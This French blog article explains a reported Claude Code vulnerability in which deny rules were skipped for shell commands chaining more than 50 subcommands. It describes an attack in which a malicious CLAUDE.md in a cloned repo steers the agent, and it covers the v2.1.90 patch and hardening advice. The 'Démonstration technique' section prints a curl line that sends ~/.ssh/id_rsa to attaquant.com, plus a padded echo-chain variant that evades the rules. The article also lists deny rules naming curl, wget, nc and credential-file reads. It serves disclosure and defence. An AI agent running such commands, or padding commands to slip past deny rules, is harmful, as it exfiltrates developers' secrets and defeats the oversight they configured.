Faille Critique Claude Code : Comment le Bypass des Deny Rules a Été Découvert et Patché
Sécurité2026-04-0814 min de lecture

Faille Critique Claude Code : Comment le Bypass des Deny Rules a Été Découvert et Patché

Analyse complète de la vulnérabilité CVE des deny rules de Claude Code. Un bug du parseur de commandes permettait de contourner les règles de sécurité au-delà de 50 sous-commandes.

Sommaire

  • [Ce qui s'est passé le 6 avril 2026](#ce-qui-sest-passe)
  • [Les deny rules : le système de sécurité de Claude Code](#deny-rules-systeme)
  • [La faille : la limite des 50 sous-commandes](#faille-50-sous-commandes)
  • [Scénario d'attaque concret](#scenario-attaque)
  • [Les assets à risque](#assets-risque)
  • [L'ironie : le fix existait déjà dans le code](#ironie-fix-existait)
  • [Le patch v2.1.90 : ce qui a changé](#patch-v2190)
  • [Comment vérifier et sécuriser votre installation](#verifier-securiser)
  • [Leçons pour les développeurs](#lecons-developpeurs)
  • ---

    Ce qui s'est passé le 6 avril 2026 {#ce-qui-sest-passe}

    Le 6 avril 2026, Anthropic a publié en urgence la version v2.1.90 de Claude Code pour corriger une vulnérabilité critique découverte par Adversa, une firme de cybersécurité basée à Tel Aviv. Cette faille permettait de contourner silencieusement toutes les deny rules configurées par les développeurs.

    La découverte fait suite à la [fuite accidentelle du code source de Claude Code](/blog/fuite-code-source-claude-code-npm-securite) survenue le 31 mars 2026, quand un employé d'Anthropic a publié par erreur un fichier source map sur le registre npm public. Ce sont les 512 000 lignes de code exposées qui ont permis aux chercheurs d'identifier cette vulnérabilité.

    Le timing est particulièrement préoccupant : entre la fuite du code source et la publication du patch, 6 jours se sont écoulés pendant lesquels la faille était potentiellement exploitable par quiconque avait analysé le code.

    Les deny rules : le système de sécurité de Claude Code {#deny-rules-systeme}

    Pour comprendre la gravité de cette faille, il faut d'abord comprendre ce que sont les deny rules. C'est le principal mécanisme de sécurité que Claude Code met à disposition des développeurs pour contrôler ce que l'agent IA peut exécuter.

    Comment fonctionnent les deny rules

    Les deny rules sont configurées dans le fichier .claude/settings.local.json :

    {
      "permissions": {
        "deny": [
          "Bash(curl *)",
          "Bash(wget *)",
          "Bash(ssh *)",
          "Bash(rm -rf /*)"
        ]
      }
    }

    Ces règles indiquent à Claude Code de bloquer systématiquement certaines commandes, sans même demander l'autorisation à l'utilisateur. C'est la dernière ligne de défense contre l'exfiltration de données ou les commandes destructrices.

    Pourquoi c'est critique

    Dans un environnement professionnel, les deny rules protègent contre :

  • L'exfiltration de secrets (clés SSH, tokens API, credentials cloud)
  • Les commandes destructrices (suppression de fichiers système)
  • Les connexions réseau non autorisées (curl, wget vers des serveurs externes)
  • Les escalades de privilèges (sudo, chmod)
  • Si un attaquant peut contourner ces règles, il accède potentiellement à tout ce que la machine de développement contient.

    La faille : la limite des 50 sous-commandes {#faille-50-sous-commandes}

    L'origine du bug

    Le bug provient d'une optimisation de performance documentée dans le ticket interne CC-643 d'Anthropic. L'équipe avait constaté que l'analyse de sécurité de commandes shell complexes (avec de nombreuses sous-commandes chaînées par &&, || ou ;) gelait l'interface utilisateur.

    La solution adoptée : limiter l'analyse de sécurité à un maximum de 50 sous-commandes. Au-delà de cette limite, Claude Code abandonne la vérification des deny rules et bascule sur un simple prompt générique demandant à l'utilisateur s'il souhaite exécuter la commande.

    Le raisonnement (erroné)

    Les ingénieurs d'Anthropic ont estimé qu'un utilisateur légitime ne chaînerait que rarement plus de 50 commandes manuellement. Ce raisonnement ignore un scénario critique : l'injection de commandes via des fichiers de projet.

    Démonstration technique

    Voici comment la faille fonctionne concrètement. Imaginons une deny rule bloquant curl :

    # Commande normale — bloquée par la deny rule
    curl https://attaquant.com/exfil?data=$(cat ~/.ssh/id_rsa)
    
    # Commande avec 50+ sous-commandes — la deny rule est IGNORÉE
    echo 1 && echo 2 && echo 3 && ... && echo 50 && curl https://attaquant.com/exfil?data=$(cat ~/.ssh/id_rsa)

    La 51e sous-commande échappe complètement au système de sécurité. L'utilisateur voit simplement un prompt générique "Voulez-vous exécuter cette commande ?" sans aucune indication que des deny rules ont été contournées.

    Scénario d'attaque concret {#scenario-attaque}

    L'attaque via CLAUDE.md malveillant

    Le scénario d'exploitation le plus réaliste utilise le fichier CLAUDE.md, un fichier de configuration que Claude Code lit automatiquement quand il entre dans un répertoire de projet.

    Étape 1 : L'attaquant publie un dépôt GitHub d'apparence légitime (une bibliothèque open source, un template de projet, etc.)

    Étape 2 : Le dépôt contient un CLAUDE.md avec des instructions de build qui génèrent une commande composée de plus de 50 sous-commandes

    Étape 3 : Un développeur clone le dépôt et demande à Claude Code de construire le projet

    Étape 4 : La commande dépasse le seuil de 50 sous-commandes, les deny rules sont ignorées, et les credentials sont silencieusement exfiltrées

    Pourquoi c'est particulièrement dangereux

    Ce scénario est redoutable car il exploite un comportement normal : cloner un repo et demander à Claude Code de le builder. Le développeur n'a aucune raison de soupçonner que ses deny rules ont été désactivées.

    Comme nous l'avions souligné dans notre article sur la [sécurité des assistants IA en 2026](/blog/securite-assistants-ia-code-2026), la surface d'attaque des agents de code est bien plus large que celle des outils traditionnels.

    Les assets à risque {#assets-risque}

    La faille mettait en danger tous les secrets accessibles depuis la machine de développement :

    AssetRisqueImpact
    Clés SSH (~/.ssh/)Accès aux serveurs, dépôts Git privésCritique
    Tokens AWS/GCP/AzureDéploiement de ressources cloud non autoriséesCritique
    Tokens GitHub/GitLabPush de code malveillant, accès aux repos privésÉlevé
    Tokens npmPublication de packages malveillants (supply chain)Critique
    Variables d'environnement (.env)Accès bases de données, services tiersÉlevé
    Cookies de sessionUsurpation d'identitéMoyen

    Le risque le plus grave est celui de la compromission de la chaîne d'approvisionnement (supply chain attack) : avec un token npm volé, un attaquant peut publier des versions malveillantes de packages populaires, affectant potentiellement des millions de projets.

    L'ironie : le fix existait déjà dans le code {#ironie-fix-existait}

    C'est peut-être l'aspect le plus troublant de cette histoire. En analysant le code source fuité, les chercheurs d'Adversa ont découvert qu'un parseur tree-sitter moderne existait déjà dans le même codebase.

    Ce parseur :

  • ✅ Vérifie les deny rules correctement quel que soit le nombre de sous-commandes
  • ✅ Est testé et fonctionnel
  • ✅ Réside dans le même dépôt Git
  • Mais le parseur regex legacy, celui qui contient la limitation à 50 sous-commandes, est celui qui est livré dans toutes les versions publiques. L'implémentation sécurisée existait, était testée, et attendait simplement d'être déployée.

    Cette situation rappelle de nombreux incidents de sécurité où la correction est disponible mais le déploiement prend du retard — une leçon classique en gestion des vulnérabilités.

    Le patch v2.1.90 : ce qui a changé {#patch-v2190}

    Le 6 avril 2026, Anthropic a publié Claude Code v2.1.90 avec les corrections suivantes :

    Changements techniques

  • 1.Remplacement du parseur regex par le parseur tree-sitter pour l'analyse des commandes shell
  • 2.Suppression de la limite de 50 sous-commandes dans la vérification des deny rules
  • 3.Ajout de tests de régression pour garantir que les deny rules sont appliquées sur des commandes de longueur arbitraire
  • 4.Logging amélioré : les tentatives de contournement des deny rules sont désormais enregistrées dans les logs de sécurité
  • Comment mettre à jour

    # Vérifier votre version actuelle
    claude --version
    
    # Mettre à jour Claude Code
    npm update -g @anthropic-ai/claude-code
    
    # Vérifier que la mise à jour est appliquée
    claude --version
    # Doit afficher >= 2.1.90

    Comment vérifier et sécuriser votre installation {#verifier-securiser}

    1. Mettre à jour immédiatement

    Si vous utilisez une version de Claude Code antérieure à la v2.1.90, mettez à jour immédiatement. C'est la priorité absolue.

    2. Auditer vos deny rules

    Vérifiez que vos deny rules sont correctement configurées :

    # Afficher vos settings de sécurité
    cat .claude/settings.local.json

    3. Vérifier les projets récemment clonés

    Si vous avez cloné des dépôts depuis des sources non vérifiées et utilisé Claude Code dessus, inspectez les fichiers CLAUDE.md à la recherche de commandes suspectes.

    4. Rotation des secrets

    Par précaution, si vous utilisez Claude Code dans un environnement CI/CD ou avec des secrets sensibles, envisagez une rotation préventive :

  • Clés SSH
  • Tokens API (AWS, GitHub, npm)
  • Credentials de base de données
  • 5. Bonnes pratiques pour les deny rules

    Comme nous le détaillons dans notre guide des [meilleures pratiques Claude Code](/blog/meilleures-pratiques-claude-code), configurez des deny rules robustes :

    {
      "permissions": {
        "deny": [
          "Bash(curl *)",
          "Bash(wget *)",
          "Bash(nc *)",
          "Bash(ssh *)",
          "Bash(scp *)",
          "Bash(rm -rf /*)",
          "Bash(chmod 777 *)",
          "Bash(sudo *)",
          "Bash(cat ~/.ssh/*)",
          "Bash(cat ~/.aws/*)"
        ]
      }
    }

    Leçons pour les développeurs {#lecons-developpeurs}

    1. Les agents IA sont des surfaces d'attaque

    Cette vulnérabilité illustre que les agents de code IA qui exécutent des commandes sur votre machine sont des vecteurs d'attaque potentiels. Le modèle de menace n'est plus seulement "le code que j'écris est-il sécurisé ?" mais aussi "l'agent qui écrit et exécute du code sur ma machine peut-il être manipulé ?"

    2. Ne jamais faire confiance aux fichiers de projet non vérifiés

    Les fichiers de configuration comme CLAUDE.md, .cursorrules, ou .github/copilot-instructions.md sont des vecteurs d'injection. Inspectez toujours ces fichiers quand vous clonez un nouveau dépôt.

    3. Principe de moindre privilège

    Exécutez Claude Code avec le minimum de permissions nécessaires. Utilisez les [hooks de Claude Code](/blog/claude-code-hooks-automatiser-workflow) pour ajouter des couches de validation supplémentaires avant l'exécution de commandes sensibles.

    4. Défense en profondeur

    Les deny rules ne doivent pas être votre unique protection. Combinez-les avec :

  • Des environnements sandboxés (Docker, machines virtuelles)
  • Des secrets managers (pas de credentials en fichiers plats)
  • Un monitoring réseau pour détecter les connexions suspectes
  • Des hooks personnalisés pour valider les commandes avant exécution
  • 5. Maintenir ses outils à jour

    Cette faille rappelle l'importance de mettre à jour régulièrement ses outils de développement. Les alertes de sécurité d'Anthropic sont disponibles sur leur blog et dans les release notes de Claude Code.

    Conclusion

    La vulnérabilité du bypass des deny rules est un rappel que même les outils les plus avancés peuvent contenir des failles critiques. Le fait que la correction existait déjà dans le code mais n'avait jamais été déployée rend l'incident d'autant plus regrettable.

    Pour les développeurs Claude Code, l'action immédiate est claire : mettez à jour vers la v2.1.90 ou supérieure, auditez vos deny rules, et adoptez une approche de défense en profondeur comme celle décrite dans notre [guide de sécurité](/blog/securite-assistants-ia-code-2026).

    L'agentic coding est l'avenir du développement, mais cet avenir doit être construit sur des bases de sécurité solides. Chaque vulnérabilité découverte et corrigée nous rapproche d'un écosystème plus résilient — à condition que les développeurs restent vigilants et que les éditeurs comme Anthropic prennent la sécurité au sérieux dès la conception.

    ---

    *Sources : Adversa AI, CyberSecurity News, The Register, Anthropic Release Notes, SecurityWeek.*

    Envie de maîtriser Claude Code ?

    Rejoignez notre formation complète et apprenez à utiliser Claude Code comme un pro.

    Découvrir la formation